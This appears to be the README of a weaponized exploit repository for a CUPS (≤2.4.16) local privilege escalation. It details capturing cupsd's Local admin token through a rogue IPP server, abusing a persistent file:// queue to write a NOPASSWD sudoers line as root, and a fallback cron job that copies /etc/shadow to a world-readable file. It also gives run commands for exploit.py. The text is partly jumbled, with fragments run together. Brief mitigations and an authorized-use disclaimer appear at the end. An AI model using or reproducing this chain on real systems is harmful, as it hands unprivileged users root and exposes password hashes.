
Local privilege escalation against a root `cupsd`.
cups2root, de-harnessed)CVSS 3.x : 8.4 HIGH (approx — verify)
CWE : CWE-287 (Improper Authentication) + CWE-269 (Improper Privilege Mgmt)
Fix : CUPS 2.4.17+
Affects : CUPS ≤ 2.4.16 with cupsd running as root and 631 reachable locally
Local privilege escalation against a root cupsd. When coerced into acting as an IPP
client toward a rogue local server, cupsd answers a 401 WWW-Authenticate: Local
challenge by replaying its own admin token. Capturing that token lets an unprivileged user
drive cupsd as admin (root). A persistent file:// print queue (printer-is-temporary=false)
bypasses the FileDevice policy, so a raw Print-Job writes attacker bytes to any path as
root — here a NOPASSWD sudoers fragment.
Two primitives chain into arbitrary root file-write:
Local auth. cupsd accepts a Local authentication backed by a root
certificate under /run/cups/certs/. Acting as an IPP client, it volunteers that admin
token when challenged with 401 WWW-Authenticate: Local. Point cupsd at a fake IPP server
you control and you capture a token valid to drive it as root.file:// as a device-uri is refused by default. Creating the queue
with printer-is-temporary=false persists it and side-steps that guard; a raw Print-Job
then writes its bytes straight into the target file, as root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> is cupsd's own admin token — replay it against /admin/ and you are root-equivalent.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
The reference PoC (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) is a demo harness: it
runs as root, spawns its own cupsd and a throwaway unpriv user, then sudo -u unpriv to
simulate the attacker. Unusable as-is. Changes:
127.0.0.1:631.$ATTACKER); fragment <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Status | Versions |
|---|---|
| Vulnerable | CUPS ≤ 2.4.16 |
| Fixed | CUPS 2.4.17 and later |
| File | Role |
|---|---|
exploit.py | PoC: token leak → file:// queue → raw Print-Job → sudoers root |
README.md | This file |
Python 3 standard library only — no dependencies.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
On success:
[+] Local token: <token>
[+] ROOT via sudoers
then sudo -i.
cupsd as root where avoidable; drop privileges / sandbox the service.Local auth and file:// device backend; keep FileDevice policy enforced for
persistent queues.systemctl disable --now cups cups-browsed and remove the
package.This project is for authorized security testing, education, and defensive research only. You are responsible for complying with applicable laws and the rules of engagement of your lab or client.